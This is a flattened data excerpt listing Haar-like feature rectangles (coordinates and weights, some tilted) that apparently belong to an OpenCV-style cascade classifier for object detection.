<_> + + <_> + 7 3 9 16 -1. + <_> + 10 3 3 16 3. + <_> + + <_> + 15 9 1 6 -1. + <_> + 13 11 1 2 3. + 1 + <_> + + <_> + 2 11 2 2 -1. + <_> + 2 11 2 1 2. + 1 + <_> + + <_> + 9 4 4 3 -1. + <_> + 10 5 2 3 2. + 1 + <_> + + <_> + 13 13 4 4 -1. + <_> + 13 15 4 2 2. + <_> + + <_> + 3 1 4 3 -1. + <_> + 4 2 2 3 2. + 1 + <_> + + <_> + 0 7 3 5 -1. + <_> + 1 7 1 5 3. + <_> + + <_> + 3 0 3 6 -1. + <_> + 3 2 3 2 3. + <_> + + <_> + 4 9 15 4 -1. + <_> + 4 10 15 2 2. + <_> + + <_> + 3 0 12 20 -1. + <_> + 3 10 12 10 2. + <_> + + <_> + 0 18 2 2 -1. + <_> + 1 18 1 2 2. + <_> + + <_> + 16 0 3 8 -1. + <_> + 17 0 1 8 3. + <_> + + <_> + 16 3 3 4 -1. + <_> + 17 3 1 4 3. + <_> + + <_> + 0 0 2 6 -1. + <_> + 0 0 1 3 2. + <_> + 1 3 1 3 2. + <_> + + <_> + 16 10 4 5 -1. + <_> + 17 11 2 5 2. + 1 + <_> + + <_> + 8 14 12 3 -1. + <_> + 12 15 4 1 9. + <_> + + <_> + 5 13 12 4 -1. + <_> + 8 13 6 4 2. + <_> + + <_> + 3 9 4 3 -1. + <_> + 4 9 2 3 2. + <_> + + <_> + 0 14 3 3 -1. + <_> + 0 15 3 1 3. + <_> + + <_> + 14 3 1 14 -1. + <_> + 14 3 1 7 2. + 1 + <_> + + <_> + 9 0 3 1 -1. + <_> + 10 0 1 1 3. + <_> + + <_> + 8 9 8 1 -1. + <_> + 10 9 4 1 2. + <_> + + <_> + 16 8 3 2 -1. + <_> + 17 9 1 2 3. + 1 + <_> + + <_> + 14 7 6 4 -1. + <_> + 14 8 6 2 2. + <_> + + <_> + 0 14 1 3 -1. + <_> + 0 15 1 1 3. + <_> + + <_> + 18 8 1 3 -1. + <_> + 18 9 1 1 3. + <_> + + <_> + 16 7 2 2 -1. + <_> + 16 7 1 1 2. + <_> + 17 8 1 1 2. + <_> + + <_> + 15 0 3 17 -1. + <_> + 16 0 1 17 3. + <_> + + <_> + 11 15 6 4 -1. + <_> + 13 15 2 4 3. + <_> + + <_> + 12 10 6 1 -1. + <_> + 14 10 2 1 3. + <_> + + <_> + 9 7 1 4 -1. + <_> + 9 7 1 2 2. + 1 + <_> + + <_> + 9 10 1 10 -1. + <_> + 9 15 1 5 2. + <_> + + <_> + 4 6 16 14 -1. + <_> + 8 6 8 14 2. + <_> + + <_> + 1 6 6 11 -1. + <_> + 3 6 2 11 3. + <_> + + <_> + 5 6 3 6 -1. + <_> + 5 9 3 3 2. + <_> + + <_> + 14 0 4 9 -1. + <_> + 15 0 2 9 2. + <_> + + <_> + 9 13 3 6 -1. + <_> + 10 13 1 6 3. + <_> + + <_> + 11 3 6 7 -1. + <_> + 13 5 2 7 3. + 1 + <_> + + <_> + 18 12 1 2 -1. + <_> + 18 13 1 1 2. + <_> + + <_> + 17 0 2 1 -1. + <_> + 18 0 1 1 2. + <_> + + <_> + 1 2 15 3 -1. + <_> + 1 3 15 1 3. + <_> + + <_> + 3 1 3 5 -1. + <_> + 4 1 1 5 3. + <_> + + <_> + 4 3 6 3 -1. + <_> + 6 3 2 3 3. + <_> + + <_> + 7 1 6 5 -1. + <_> + 9 1 2 5 3. + <_> + + <_> + 13 7 2 5 -1. + <_> + 14 7 1 5 2. + <_> + + <_> + 8 10 2 2 -1. + <_> + 8 10 2 1 2. + 1 + <_> + + <_> + 2 10 12 4 -1. + <_> + 2 12 12 2 2. + <_> + + <_> + 3 5 3 3 -1. + <_> + 2 6 3 1 3. + 1 + <_> + + <_> + 11 6 6 6 -1. + <_> + 9 8 6 2 3. + 1 + <_> + + <_> + 4 5 9 12 -1. + <_> + 7 9 3 4 9. + <_> + + <_> + 12 6 1 3 -1. + <_> + 11 7 1 1 3. + 1 + <_> + + <_> + 11 1 5 9 -1. + <_> + 11 4 5 3 3. + <_> + + <_> + 10 7 4 1 -1. + <_> + 11 7 2 1 2. + <_> + + <_> + 0 0 10 6 -1. + <_> + 0 0 5 3 2. + <_> + 5 3 5 3 2. + <_> + + <_> + 2 0 3 6 -1. + <_> + 2 2 3 2 3. + <_> + + <_> + 6 6 4 3 -1. + <_> + 7 6 2 3 2. + <_> + + <_> + 5 0 2 3 -1. + <_> + 4 1 2 1 3. + 1 + <_> + + <_> + 13 15 2 3 -1. + <_> + 12 16 2 1 3. + 1 + <_> + + <_> + 10 2 8 4 -1. + <_> + 12 2 4 4 2. + <_> + + <_> + 6 8 2 6 -1. + <_> + 4 10 2 2 3. + 1 + <_> + + <_> + 18 0 2 4 -1. + <_> + 17 1 2 2 2. + 1 + <_> + + <_> + 6 0 12 2 -1. + <_> + 10 0 4 2 3. + <_> + + <_> + 2 0 18 2 -1. + <_> + 2 0 9 1 2. + <_> + 11 1 9 1 2. + <_> + + <_> + 17 8 3 2 -1. + <_> + 18 9 1 2 3. + 1 + <_> + + <_> + 5 2 3 3 -1. + <_> + 4 3 3 1 3. + 1 + <_> + + <_> + 18 0 2 20 -1. + <_> + 19 0 1 20 2. + <_> + + <_> + 16 11 4 5 -1. + <_> + 17 12 2 5 2. + 1 + <_> + + <_> + 7 0 6 1 -1. + <_> + 10 0 3 1 2. + <_> + + <_> + 15 11 3 2 -1. + <_> + 16 12 1 2 3. + 1 + <_> + + <_> + 13 11 7 2 -1. + <_> + 13 11 7 1 2. + 1 + <_> + + <_> + 0 1 2 17 -1. + <_> + 1 1 1 17 2. + <_> + + <_> + 4 4 2 3 -1. + <_> + 3 5 2 1 3. + 1 + <_> + + <_> + 18 5 1 8 -1. + <_> + 18 9 1 4 2. + <_> + + <_> + 13 7 2 1 -1. + <_> + 13 7 1 1 2. + 1 + <_> + + <_> + 7 4 12 2 -1. + <_> + 7 4 6 1 2. + <_> + 13 5 6 1 2. + <_> + + <_> + 6 18 6 2 -1. + <_> + 9 18 3 2 2. + <_> + + <_> + 0 1 20 4 -1. + <_> + 5 1 10 4 2. + <_> + + <_> + 14 10 2 1 -1. + <_> + 15 10 1 1 2. + <_> + + <_> + 5 4 10 10 -1. + <_> + 10 4 5 10 2. + <_> + + <_> + 3 2 1 3 -1. + <_> + 2 3 1 1 3. + 1 + <_> + + <_> + 3 13 4 3 -1. + <_> + 3 13 2 3 2. + 1 + <_> + + <_> + 16 19 4 1 -1. + <_> + 18 19 2 1 2. + <_> + + <_> + 3 14 4 2 -1. + <_> + 4 14 2 2 2. + <_> + + <_> + 8 7 6 3 -1. + <_> + 10 9 2 3 3. + 1 + <_> + + <_> + 12 2 8 6 -1. + <_> + 12 4 8 2 3. + <_> + + <_> + 0 0 6 1 -1. + <_> + 3 0 3 1 2. + <_> + + <_> + 18 18 2 2 -1. + <_> + 18 18 1 1 2. + <_> + 19 19 1 1 2. + <_> + + <_> + 17 17 2 3 -1. + <_> + 17 18 2 1 3. + <_> + + <_> + 18 16 1 2 -1. + <_> + 18 17 1 1 2. + <_> + + <_> + 15 9 2 4 -1. + <_> + 15 9 1 2 2. + <_> + 16 11 1 2 2. + <_> + + <_> + 4 10 16 4 -1. + <_> + 4 11 16 2 2. + <_> + + <_> + 16 5 3 3 -1. + <_> + 15 6 3 1 3. + 1 + <_> + + <_> + 16 12 4 4 -1. + <_> + 17 13 2 4 2. + 1 + <_> + + <_> + 18 3 2 15 -1. + <_> + 18 8 2 5 3. + <_> + + <_> + 13 4 1 12 -1. + <_> + 13 4 1 6 2. + 1 + <_> + + <_> + 17 16 2 2 -1. + <_> + 17 16 1 1 2. + <_> + 18 17 1 1 2. + <_> + + <_> + 0 0 2 2 -1. + <_> + 0 1 2 1 2. + <_> + + <_> + 5 4 1 2 -1. + <_> + 5 5 1 1 2. + <_> + + <_> + 2 2 3 18 -1. + <_> + 3 2 1 18 3. + <_> + + <_> + 7 9 2 3 -1. + <_> + 6 10 2 1 3. + 1 + <_> + + <_> + 8 2 7 4 -1. + <_> + 8 3 7 2 2. + <_> + + <_> + 16 0 4 1 -1. + <_> + 16 0 2 1 2. + 1 + <_> + + <_> + 0 17 20 2 -1. + <_> + 5 17 10 2 2. + <_> + + <_> + 1 18 6 1 -1. + <_> + 4 18 3 1 2. + <_> + + <_> + 5 18 6 2 -1. + <_> + 8 18 3 2 2. + <_> + + <_> + 9 8 3 2 -1. + <_> + 10 8 1 2 3. + <_> + + <_> + 11 1 3 1 -1. + <_> + 12 1 1 1 3. + <_> + + <_> + 0 18 20 2 -1. + <_> + 0 18 10 1 2. + <_> + 10 19 10 1 2. + <_> + + <_> + 15 9 1 2 -1. + <_> + 15 10 1 1 2. + <_> + + <_> + 17 1 2 1 -1. + <_> + 18 1 1 1 2. + <_> + + <_> + 15 0 4 1 -1. + <_> + 17 0 2 1 2. + <_> + + <_> + 19 0 1 2 -1. + <_> + 19 1 1 1 2. + <_> + + <_> + 2 18 18 2 -1. + <_> + 2 18 9 1 2. + <_> + 11 19 9 1 2. + <_> + + <_> + 15 16 2 2 -1. + <_> + 15 16 1 1 2. + <_> + 16 17 1 1 2. + <_> + + <_> + 16 15 1 3 -1. + <_> + 15 16 1 1 3. + 1 + <_> + + <_> + 2 9 1 2 -1. + <_> + 2 9 1 1 2. + 1 + <_> + + <_> + 6 4 4 3 -1. + <_> + 7 5 2 3 2. + 1 + <_> + + <_> + 3 5 12 12 -1. + <_> + 7 9 4 4 9. + <_> + + <_> + 7 12 3 4 -1. + <_> + 8 12 1 4 3. + <_> + + <_> + 17 4 3 3 -1. + <_> + 18 5 1 3 3. + 1 + <_> + + <_> + 17 16 2 1 -1. + <_> + 17 16 1 1 2. + 1 + <_> + + <_> + 7 6 1 2 -1. + <_> + 7 6 1 1 2. + 1 + <_> + + <_> + 1 0 12 1 -1. + <_> + 7 0 6 1 2. + <_> + + <_> + 0 7 18 8 -1. + <_> + 6 7 6 8 3. + <_> + + <_> + 13 14 4 6 -1. + <_> + 14 14 2 6 2. + <_> + + <_> + 6 10 3 3 -1. + <_> + 5 11 3 1 3. + 1 + <_> + + <_> + 16 2 4 2 -1. + <_> + 18 2 2 2 2. + <_> + + <_> + 9 13 8 4 -1. + <_> + 13 13 4 4 2. + <_> + + <_> + 12 0 6 20 -1. + <_> + 12 10 6 10 2. + <_> + + <_> + 18 0 2 8 -1. + <_> + 19 0 1 8 2. + <_> + + <_> + 18 5 2 14 -1. + <_> + 18 12 2 7 2. + <_> + + <_> + 16 7 2 2 -1. + <_> + 16 7 1 1 2. + <_> + 17 8 1 1 2. + <_> + + <_> + 9 13 8 4 -1. + <_> + 9 15 8 2 2. + <_> + + <_> + 0 10 14 10 -1. + <_> + 0 15 14 5 2. + <_> + + <_> + 1 8 14 4 -1. + <_> + 1 9 14 2 2. + <_> + + <_> + 2 8 11 4 -1. + <_> + 2 9 11 2 2. + <_> + + <_> + 4 0 6 2 -1. + <_> + 4 0 3 1 2. + <_> + 7 1 3 1 2. + <_> + + <_> + 8 16 4 2 -1. + <_> + 9 16 2 2 2. + <_> + + <_> + 7 4 4 12 -1. + <_> + 7 8 4 4 3. + <_> + + <_> + 17 10 2 6 -1. + <_> + 17 10 1 6 2. + 1 + <_> + + <_> + 7 0 4 3 -1. + <_> + 8 0 2 3 2. + <_> + + <_> + 16 7 4 1 -1. + <_> + 17 7 2 1 2. + <_> + + <_> + 17 3 2 8 -1. + <_> + 17 3 1 4 2. + <_> + 18 7 1 4 2. + <_> + + <_> + 9 8 10 8 -1. + <_> + 9 8 5 4 2. + <_> + 14 12 5 4 2. + <_> + + <_> + 9 14 3 1 -1. + <_> + 10 14 1 1 3. + <_> + + <_> + 9 0 6 14 -1. + <_> + 11 0 2 14 3. + <_> + + <_> + 11 11 4 1 -1. + <_> + 12 12 2 1 2. + 1 + <_> + + <_> + 2 14 9 6 -1. + <_> + 5 14 3 6 3. + <_> + + <_> + 14 2 6 1 -1. + <_> + 17 2 3 1 2. + <_> + + <_> + 2 16 9 2 -1. + <_> + 5 16 3 2 3. + <_> + + <_> + 4 5 3 8 -1. + <_> + 4 9 3 4 2. + <_> + + <_> + 1 1 7 4 -1. + <_> + 1 3 7 2 2. + <_> + + <_> + 3 9 6 3 -1. + <_> + 5 9 2 3 3. + <_> + + <_> + 13 9 4 2 -1. + <_> + 14 9 2 2 2. + <_> + + <_> + 7 10 2 2 -1. + <_> + 7 10 1 1 2. + <_> + 8 11 1 1 2. + <_> + + <_> + 13 7 4 7 -1. + <_> + 13 7 2 7 2. + 1 + <_> + + <_> + 19 6 1 4 -1. + <_> + 18 7 1 2 2. + 1 + <_> + + <_> + 1 14 4 2 -1. + <_> + 3 14 2 2 2. + <_> + + <_> + 0 2 16 16 -1. + <_> + 0 6 16 8 2. + <_> + + <_> + 1 1 6 1 -1. + <_> + 4 1 3 1 2. + <_> + + <_> + 6 9 2 3 -1. + <_> + 7 9 1 3 2. + <_> + + <_> + 16 5 4 9 -1. + <_> + 17 5 2 9 2. + <_> + + <_> + 7 12 3 5 -1. + <_> + 8 13 1 5 3. + 1 + <_> + + <_> + 5 6 3 4 -1. + <_> + 6 7 1 4 3. + 1 + <_> + + <_> + 16 1 4 1 -1. + <_> + 18 1 2 1 2. + <_> + + <_> + 8 0 12 16 -1. + <_> + 8 0 6 8 2. + <_> + 14 8 6 8 2. + <_> + + <_> + 4 5 13 2 -1. + <_> + 4 5 13 1 2. + 1 + <_> + + <_> + 17 17 1 2 -1. + <_> + 17 17 1 1 2. + 1 + <_> + + <_> + 17 18 3 2 -1. + <_> + 17 19 3 1 2. + <_> + + <_> + 16 10 3 3 -1. + <_> + 17 10 1 3 3. + <_> + + <_> + 11 4 3 2 -1. + <_> + 11 5 3 1 2. + <_> + + <_> + 8 2 8 4 -1. + <_> + 8 3 8 2 2. + <_> + + <_> + 14 3 5 9 -1. + <_> + 14 6 5 3 3. + <_> + + <_> + 0 18 9 2 -1. + <_> + 0 19 9 1 2. + <_> + + <_> + 17 3 3 1 -1. + <_> + 18 4 1 1 3. + 1 + <_> + + <_> + 13 12 5 3 -1. + <_> + 12 13 5 1 3. + 1 + <_> + + <_> + 10 13 4 2 -1. + <_> + 10 14 4 1 2. + <_> + + <_> + 8 8 3 3 -1. + <_> + 7 9 3 1 3. + 1 + <_> + + <_> + 16 3 3 3 -1. + <_> + 15 4 3 1 3. + 1 + <_> + + <_> + 15 18 4 1 -1. + <_> + 17 18 2 1 2. + <_> + + <_> + 5 0 2 3 -1. + <_> + 5 0 1 3 2. + 1 + <_> + + <_> + 11 10 3 2 -1. + <_> + 12 10 1 2 3. + <_> + + <_> + 0 2 2 18 -1. + <_> + 0 2 1 9 2. + <_> + 1 11 1 9 2. + <_> + + <_> + 1 8 8 7 -1. + <_> + 3 8 4 7 2. + <_> + + <_> + 12 18 4 2 -1. + <_> + 12 18 2 1 2. + <_> + 14 19 2 1 2. + <_> + + <_> + 3 4 16 12 -1. + <_> + 7 4 8 12 2. + <_> + + <_> + 5 8 6 1 -1. + <_> + 7 8 2 1 3. + <_> + + <_> + 7 4 12 8 -1. + <_> + 11 4 4 8 3. + <_> + + <_> + 8 16 2 2 -1. + <_> + 8 16 1 1 2. + <_> + 9 17 1 1 2. + <_> + + <_> + 3 4 3 3 -1. + <_> + 2 5 3 1 3. + 1 + <_> + + <_> + 8 5 3 6 -1. + <_> + 9 7 1 2 9. + <_> + + <_> + 2 5 18 2 -1. + <_> + 8 5 6 2 3. + <_> + + <_> + 14 8 1 2 -1. + <_> + 14 9 1 1 2. + <_> + + <_> + 5 1 4 1 -1. + <_> + 6 1 2 1 2. + <_> + + <_> + 1 9 17 3 -1. + <_> + 1 10 17 1 3. + <_> + + <_> + 1 17 9 3 -1. + <_> + 1 18 9 1 3. + <_> + + <_> + 4 16 6 2 -1. + <_> + 4 17 6 1 2. + <_> + + <_> + 3 8 2 2 -1. + <_> + 3 8 1 1 2. + <_> + 4 9 1 1 2. + <_> + + <_> + 17 8 3 3 -1. + <_> + 16 9 3 1 3. + 1 + <_> + + <_> + 7 3 4 2 -1. + <_> + 8 3 2 2 2. + <_> + + <_> + 4 9 2 1 -1. + <_> + 4 9 1 1 2. + 1 + <_> + + <_> + 0 4 2 4 -1. + <_> + 1 4 1 4 2. + <_> + + <_> + 6 3 1 12 -1. + <_> + 6 9 1 6 2. + <_> + + <_> + 0 7 4 2 -1. + <_> + 0 8 4 1 2. + <_> + + <_> + 2 0 5 16 -1. + <_> + 2 8 5 8 2. + <_> + + <_> + 11 0 3 6 -1. + <_> + 9 2 3 2 3. + 1 + <_> + + <_> + 5 16 12 1 -1. + <_> + 8 16 6 1 2. + <_> + + <_> + 9 8 3 2 -1. + <_> + 10 8 1 2 3. + <_> + + <_> + 14 8 3 6 -1. + <_> + 15 9 1 6 3. + 1 + <_> + + <_> + 13 8 4 7 -1. + <_> + 14 9 2 7 2. + 1 + <_> + + <_> + 16 7 3 4 -1. + <_> + 15 8 3 2 2. + 1 + <_> + + <_> + 13 1 1 16 -1. + <_> + 13 9 1 8 2. + <_> + + <_> + 7 17 8 1 -1. + <_> + 9 17 4 1 2. + <_> + + <_> + 9 10 3 5 -1. + <_> + 10 11 1 5 3. + 1 + <_> + + <_> + 4 11 6 3 -1. + <_> + 6 13 2 3 3. + 1 + <_> + + <_> + 3 16 1 2 -1. + <_> + 3 16 1 1 2. + 1 + <_> + + <_> + 5 13 3 4 -1. + <_> + 4 14 3 2 2. + 1 + <_> + + <_> + 7 5 8 8 -1. + <_> + 9 5 4 8 2. + <_> + + <_> + 17 5 2 4 -1. + <_> + 17 5 1 4 2. + 1 + <_> + + <_> + 0 14 3 4 -1. + <_> + 0 15 3 2 2. + <_> + + <_> + 16 16 2 2 -1. + <_> + 16 16 1 1 2. + <_> + 17 17 1 1 2. + <_> + + <_> + 6 16 6 4 -1. + <_> + 8 16 2 4 3. + <_> + + <_> + 15 16 2 2 -1. + <_> + 15 16 1 1 2. + <_> + 16 17 1 1 2. + <_> + + <_> + 9 17 2 1 -1. + <_> + 10 17 1 1 2. + <_> + + <_> + 14 5 5 8 -1. + <_> + 14 7 5 4 2. + <_> + + <_> + 16 7 2 2 -1. + <_> + 16 8 2 1 2. + <_> + + <_> + 9 11 2 7 -1. + <_> + 10 11 1 7 2. + <_> + + <_> + 2 5 1 2 -1. + <_> + 2 5 1 1 2. + 1 + <_> + + <_> + 4 6 11 3 -1. + <_> + 4 7 11 1 3. + <_> + + <_> + 5 4 8 3 -1. + <_> + 5 5 8 1 3. + <_> + + <_> + 0 8 20 3 -1. + <_> + 0 9 20 1 3. + <_> + + <_> + 15 8 3 3 -1. + <_> + 15 9 3 1 3. + <_> + + <_> + 17 9 3 1 -1. + <_> + 18 9 1 1 3. + <_> + + <_> + 15 6 5 3 -1. + <_> + 15 7 5 1 3. + <_> + + <_> + 9 15 8 2 -1. + <_> + 9 15 4 1 2. + <_> + 13 16 4 1 2. + <_> + + <_> + 0 3 1 4 -1. + <_> + 0 4 1 2 2. + <_> + + <_> + 9 3 5 2 -1. + <_> + 9 4 5 1 2. + <_> + + <_> + 15 3 2 2 -1. + <_> + 15 3 1 1 2. + <_> + 16 4 1 1 2. + <_> + + <_> + 12 0 4 12 -1. + <_> + 12 0 2 12 2. + 1 + <_> + + <_> + 10 6 8 2 -1. + <_> + 10 7 8 1 2. + <_> + + <_> + 15 3 2 13 -1. + <_> + 16 3 1 13 2. + <_> + + <_> + 11 11 5 2 -1. + <_> + 11 11 5 1 2. + 1 + <_> + + <_> + 0 0 6 2 -1. + <_> + 3 0 3 2 2. + <_> + + <_> + 4 0 1 3 -1. + <_> + 3 1 1 1 3. + 1 + <_> + + <_> + 1 0 2 1 -1. + <_> + 2 0 1 1 2. + <_> + + <_> + 3 0 16 5 -1. + <_> + 7 0 8 5 2. + <_> + + <_> + 18 10 1 2 -1. + <_> + 18 10 1 1 2. + 1 + <_> + + <_> + 4 6 2 4 -1. + <_> + 4 7 2 2 2. + <_> + + <_> + 13 5 2 1 -1. + <_> + 13 5 1 1 2. + 1 + <_> + + <_> + 0 5 8 2 -1. + <_> + 0 5 4 1 2. + <_> + 4 6 4 1 2. + <_> + + <_> + 7 7 10 13 -1. + <_> + 12 7 5 13 2. + <_> + + <_> + 17 3 3 2 -1. + <_> + 18 4 1 2 3. + 1 + <_> + + <_> + 2 0 9 2 -1. + <_> + 2 1 9 1 2. + <_> + + <_> + 4 8 12 6 -1. + <_> + 4 10 12 2 3. + <_> + + <_> + 13 8 3 2 -1. + <_> + 14 9 1 2 3. + 1 + <_> + + <_> + 10 9 3 8 -1. + <_> + 11 9 1 8 3. + <_> + + <_> + 13 13 4 6 -1. + <_> + 14 13 2 6 2. + <_> + + <_> + 7 0 6 1 -1. + <_> + 9 0 2 1 3. + <_> + + <_> + 11 1 4 2 -1. + <_> + 11 2 4 1 2. + <_> + + <_> + 13 0 6 3 -1. + <_> + 13 1 6 1 3. + <_> + + <_> + 7 18 2 1 -1. + <_> + 8 18 1 1 2. + <_> + + <_> + 6 15 6 4 -1. + <_> + 6 16 6 2 2. + <_> + + <_> + 13 15 2 3 -1. + <_> + 12 16 2 1 3. + 1 + <_> + + <_> + 0 18 20 2 -1. + <_> + 0 18 10 1 2. + <_> + 10 19 10 1 2. + <_> + + <_> + 2 18 18 2 -1. + <_> + 2 18 9 1 2. + <_> + 11 19 9 1 2. + <_> + + <_> + 4 0 3 17 -1. + <_> + 5 0 1 17 3. + <_> + + <_> + 4 9 4 4 -1. + <_> + 4 9 2 2 2. + <_> + 6 11 2 2 2. + <_> + + <_> + 6 10 2 4 -1. + <_> + 5 11 2 2 2. + 1 + <_> + + <_> + 12 2 2 12 -1. + <_> + 12 2 1 12 2. + 1 + <_> + + <_> + 15 16 2 2 -1. + <_> + 15 16 1 1 2. + <_> + 16 17 1 1 2. + <_> + + <_> + 1 9 2 4 -1. + <_> + 1 9 1 2 2. + <_> + 2 11 1 2 2. + <_> + + <_> + 15 17 2 1 -1. + <_> + 16 17 1 1 2. + <_> + + <_> + 14 6 3 4 -1. + <_> + 15 7 1 4 3. + 1 + <_> + + <_> + 16 16 2 2 -1. + <_> + 16 16 1 1 2. + <_> + 17 17 1 1 2. + <_> + + <_> + 15 14 2 1 -1. + <_> + 16 14 1 1 2. + <_> + + <_> + 2 3 18 10 -1. + <_> + 2 3 9 5 2. + <_> + 11 8 9 5 2. + <_> + + <_> + 15 17 2 2 -1. + <_> + 15 17 1 1 2. + <_> + 16 18 1 1 2. + <_> + + <_> + 6 1 3 10 -1. + <_> + 7 1 1 10 3. + <_> + + <_> + 3 9 6 2 -1. + <_> + 5 9 2 2 3. + <_> + + <_> + 15 10 4 2 -1. + <_> + 15 10 2 1 2. + <_> + 17 11 2 1 2. + <_> + + <_> + 0 11 1 4 -1. + <_> + 0 13 1 2 2. + <_> + + <_> + 7 7 9 13 -1. + <_> + 10 7 3 13 3. + <_> + + <_> + 8 5 11 6 -1. + <_> + 8 7 11 2 3. + <_> + + <_> + 7 15 3 3 -1. + <_> + 8 15 1 3 3. + <_> + + <_> + 0 9 2 11 -1. + <_> + 1 9 1 11 2. + <_> + + <_> + 4 8 4 2 -1. + <_> + 5 8 2 2 2. + <_> + + <_> + 9 6 4 1 -1. + <_> + 10 7 2 1 2. + 1 + <_> + + <_> + 5 1 5 4 -1. + <_> + 5 2 5 2 2. + <_> + + <_> + 15 10 4 3 -1. + <_> + 16 10 2 3 2. + <_> + + <_> + 0 1 16 3 -1. + <_> + 0 2 16 1 3. + <_> + + <_> + 8 9 4 3 -1. + <_> + 9 10 2 3 2. + 1 + <_> + + <_> + 18 17 2 3 -1. + <_> + 18 18 2 1 3. + <_> + + <_> + 5 13 4 6 -1. + <_> + 5 13 2 3 2. + <_> + 7 16 2 3 2. + <_> + + <_> + 0 0 3 17 -1. + <_> + 1 0 1 17 3. + <_> + + <_> + 10 7 3 3 -1. + <_> + 9 8 3 1 3. + 1 + <_> + + <_> + 9 7 3 3 -1. + <_> + 10 8 1 3 3. + 1 + <_> + + <_> + 7 5 5 6 -1. + <_> + 7 8 5 3 2. + <_> + + <_> + 12 4 2 9 -1. + <_> + 12 7 2 3 3. + <_> + + <_> + 14 0 3 2 -1. + <_> + 15 0 1 2 3. + <_> + + <_> + 11 8 3 3 -1. + <_> + 12 9 1 1 9. + <_> + + <_> + 4 16 2 3 -1. + <_> + 4 17 2 1 3. + <_> + + <_> + 6 10 14 3 -1. + <_> + 6 11 14 1 3. + <_> + + <_> + 0 10 14 4 -1. + <_> + 0 11 14 2 2. + <_> + + <_> + 12 7 3 4 -1. + <_> + 13 7 1 4 3. + <_> + + <_> + 3 2 3 3 -1. + <_> + 4 2 1 3 3. + <_> + + <_> + 17 17 2 2 -1. + <_> + 17 17 1 1 2. + <_> + 18 18 1 1 2. + <_> + + <_> + 18 16 2 2 -1. + <_> + 18 16 1 1 2. + <_> + 19 17 1 1 2. + <_> + + <_> + 17 16 1 3 -1. + <_> + 17 17 1 1 3. + <_> + + <_> + 6 8 2 1 -1. + <_> + 6 8 1 1 2. + 1 + <_> + + <_> + 8 7 3 1 -1. + <_> + 9 8 1 1 3. + 1 + <_> + + <_> + 9 6 3 1 -1. + <_> + 10 7 1 1 3. + 1 + <_> + + <_> + 3 9 3 10 -1. + <_> + 4 9 1 10 3. + <_> + + <_> + 5 15 6 3 -1. + <_> + 7 15 2 3 3. + <_> + + <_> + 0 4 2 12 -1. + <_> + 0 4 1 6 2. + <_> + 1 10 1 6 2. + <_> + + <_> + 4 2 2 10 -1. + <_> + 5 2 1 10 2. + <_> + + <_> + 4 9 2 1 -1. + <_> + 5 9 1 1 2. + <_> + + <_> + 14 7 4 6 -1. + <_> + 15 8 2 6 2. + 1 + <_> + + <_> + 17 5 3 2 -1. + <_> + 18 6 1 2 3. + 1 + <_> + + <_> + 2 10 16 5 -1. + <_> + 10 10 8 5 2. + <_> + + <_> + 7 17 2 2 -1. + <_> + 7 17 1 1 2. + <_> + 8 18 1 1 2. + <_> + + <_> + 4 17 4 1 -1. + <_> + 6 17 2 1 2. + <_> + + <_> + 8 6 3 3 -1. + <_> + 9 6 1 3 3. + <_> + + <_> + 16 10 1 4 -1. + <_> + 16 12 1 2 2. + <_> + + <_> + 17 13 2 3 -1. + <_> + 16 14 2 1 3. + 1 + <_> + + <_> + 3 8 13 10 -1. + <_> + 3 13 13 5 2. + <_> + + <_> + 9 6 9 1 -1. + <_> + 12 9 3 1 3. + 1 + <_> + + <_> + 2 5 15 6 -1. + <_> + 7 7 5 2 9. + <_> + + <_> + 16 0 3 2 -1. + <_> + 17 1 1 2 3. + 1 + <_> + + <_> + 0 17 6 3 -1. + <_> + 0 18 6 1 3. + <_> + + <_> + 11 1 2 2 -1. + <_> + 11 1 1 2 2. + 1 + <_> + + <_> + 12 5 2 2 -1. + <_> + 12 5 1 1 2. + <_> + 13 6 1 1 2. + <_> + + <_> + 8 0 12 2 -1. + <_> + 12 0 4 2 3. + <_> + + <_> + 10 9 3 3 -1. + <_> + 11 10 1 1 9. + <_> + + <_> + 12 18 8 2 -1. + <_> + 12 19 8 1 2. + <_> + + <_> + 8 18 9 2 -1. + <_> + 8 19 9 1 2. + <_> + + <_> + 6 0 9 4 -1. + <_> + 6 1 9 2 2. + <_> + + <_> + 3 8 12 4 -1. + <_> + 3 9 12 2 2. + <_> + + <_> + 13 4 2 9 -1. + <_> + 10 7 2 3 3. + 1 + <_> + + <_> + 5 15 12 4 -1. + <_> + 5 15 6 2 2. + <_> + 11 17 6 2 2. + <_> + + <_> + 6 3 14 10 -1. + <_> + 13 3 7 10 2. + <_> + + <_> + 9 2 6 2 -1. + <_> + 11 2 2 2 3. + <_> + + <_> + 11 16 3 1 -1. + <_> + 12 16 1 1 3. + <_> + + <_> + 15 16 2 4 -1. + <_> + 15 16 1 2 2. + <_> + 16 18 1 2 2. + <_> + + <_> + 3 11 14 4 -1. + <_> + 3 11 7 2 2. + <_> + 10 13 7 2 2. + <_> + + <_> + 1 19 16 1 -1. + <_> + 5 19 8 1 2. + <_> + + <_> + 3 18 2 1 -1. + <_> + 4 18 1 1 2. + <_> + + <_> + 12 7 1 8 -1. + <_> + 10 9 1 4 2. + 1 + <_> + + <_> + 18 3 2 16 -1. + <_> + 18 3 1 8 2. + <_> + 19 11 1 8 2. + <_> + + <_> + 0 9 20 3 -1. + <_> + 5 9 10 3 2. + <_> + + <_> + 7 15 2 3 -1. + <_> + 7 15 1 3 2. + 1 + <_> + + <_> + 7 1 2 2 -1. + <_> + 7 1 1 1 2. + <_> + 8 2 1 1 2. + <_> + + <_> + 5 5 12 11 -1. + <_> + 9 5 4 11 3. + <_> + + <_> + 14 0 4 14 -1. + <_> + 14 0 4 7 2. + 1 + <_> + + <_> + 15 1 2 8 -1. + <_> + 16 1 1 8 2. + <_> + + <_> + 0 1 3 4 -1. + <_> + 0 2 3 2 2. + <_> + + <_> + 5 9 9 9 -1. + <_> + 8 12 3 3 9. + <_> + + <_> + 12 7 4 6 -1. + <_> + 10 9 4 2 3. + 1 + <_> + + <_> + 5 5 8 9 -1. + <_> + 7 5 4 9 2. + <_> + + <_> + 2 3 16 2 -1. + <_> + 10 3 8 2 2. + <_> + + <_> + 7 1 4 3 -1. + <_> + 8 1 2 3 2. + <_> + + <_> + 8 1 12 3 -1. + <_> + 11 1 6 3 2. + <_> + + <_> + 18 1 1 2 -1. + <_> + 18 2 1 1 2. + <_> + + <_> + 6 9 8 2 -1. + <_> + 8 9 4 2 2. + <_> + + <_> + 5 7 2 4 -1. + <_> + 5 7 1 2 2. + <_> + 6 9 1 2 2. + <_> + + <_> + 2 15 9 1 -1. + <_> + 5 15 3 1 3. + 